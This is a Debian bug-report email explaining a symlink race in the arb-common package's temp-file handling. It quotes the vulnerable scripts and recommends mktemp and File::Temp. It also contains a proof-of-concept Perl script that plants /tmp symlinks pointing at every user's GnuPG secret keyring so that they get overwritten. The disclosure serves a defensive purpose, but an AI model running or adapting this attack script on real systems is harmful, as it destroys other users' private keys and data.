Bug#496396: The possibility of attack with the help of symlinks in some Debian packages

[Dmitry E. Oboukhov]

On 08:36 Mon 22 Sep     , Andreas Tille wrote:
> Hi,

> unfortunately I completely missed this bug because I had a "relaxing from
> DebConf" vacation and it must somehow vanished from my mailbox - so sorry
> for caring so late.

> Now I had a look at Arb packaging and have to admit I do not really
> understand which issue exactly fullfills the symlink attack problem.
> Could you please be a little bit more specific (provide the output of
> the script for arb) to enable us to fix this problem quickly?

> Kind regards and thanks for your QA work

look at full report: http://uvw.ru/report.lenny.txt

if attacker creates symlink /tmp/arb_fdnaml_${USER}_$$ or
        /tmp/arbdsmz.html then starting scripts 
        /usr/lib/arb/SH/arb_fastdnaml or
        /usr/lib/arb/SH/dszmconnect.pl will lead to data corrupt.

example for attacker script:

#!/usr/bin/perl
symlink '/tmp/arbdsmz.html', '/path/to/file';

for my $user (
            map { 
                chomp;
                $_=[split ':', $_];
                [$_->[0], $_->[5]] 
            } `cat /etc/passwd`
        )
{
            symlink "$$user[1]/.gnupg/secring.gpg",
                    "/tmp/arb_fdnaml_$$user[0]_$_" for ($$ .. $$+1000000);
}

use mktemp (1) (with option -t) for create temp-files in bash-scripts.
use File::Temp module for create temp files in perl-scripts.

cut of report:

Package: arb-common
Version: 0.0.20071207.1-4
Filename: pool/non-free/a/arb/arb-common_0.0.20071207.1-4_all.deb


Found error in /usr/lib/arb/SH/arb_fastdnaml:
    $ grep -A5 -B5 /tmp/ /usr/lib/arb/SH/arb_fastdnaml
    #!/bin/sh
    tmp=/tmp/arb_fdnaml_${USER}_$$
    mv infile $tmp
    nice -19 $1 < $tmp &
    sig=$!
    /bin/echo "$sig $$ \c" >>/tmp/arb_pids_${USER}_${ARB_PID}
    wait
    # echo $tmp not deleted for debugging purposes
    rm -f $tmp
    rm -f checkpoint.$sig
    mv treefile.$sig treefile

Found error in /usr/lib/arb/SH/dszmconnect.pl:
    $ grep -A5 -B5 /tmp/ /usr/lib/arb/SH/dszmconnect.pl
      </body>
    </html>";
    
    
    
    open (OUTPUT , "> /tmp/arbdsmz.html") or die "cannot open input file 
/tmp/arbdsmz.html";
    
    if (scalar(@ARGV) == 0)
      {print OUTPUT $errordocument;
       die("no search items given ! Give at least one item!");}
    ##print length(@ARGV)."\n";
    --
     my $selection_content = 
'VAR_DATABASE=bact&VAR_HITS=25&VAR_DSMZITEM='."$item1".'&VAR_DSMZITEM2='."$item2".'&B1=Search';
    
     $req_selection->content($selection_content);
    
     # Pass request to the user agent and get a response back
     my $res_selection = $ua_selection -> request($req_selection, 
'/tmp/arbdsmz.htm');
    
    
    
     # Check the outcome of the response
     if ($res_selection->is_success) {print $res_selection->content;} 
     else  {die "Bad luck this time, request failed\n";};
    
    
    open (INPUT , "< /tmp/arbdsmz.htm") or die "cannot open input file 
/tmp/arbdsmz.htm";
    
    
     my $htmlcontent;
    {
    local $/;
    --
    $htmlcontent =~ s{HREF="}{HREF="http://www.dsmz.de}igm;
    $htmlcontent =~ s{HREF=[^"]}{HREF=http://www.dsmz.de/}igm; ##"
    
    print OUTPUT $htmlcontent ;
    
    #exec ('netscape', '/tmp/arbdsmz.html');
    print "file:///tmp/arbdsmz.html";
    
    ##print "$htmlcontent\n";
--

. ''`. Dmitry E. Oboukhov
: :’  : [EMAIL PROTECTED]
`. `~’ GPGKey: 1024D / F8E26537 2006-11-21
  `- 1B23 D4F8 8EC0 D902 0555  E438 AB8C 00CF F8E2 6537

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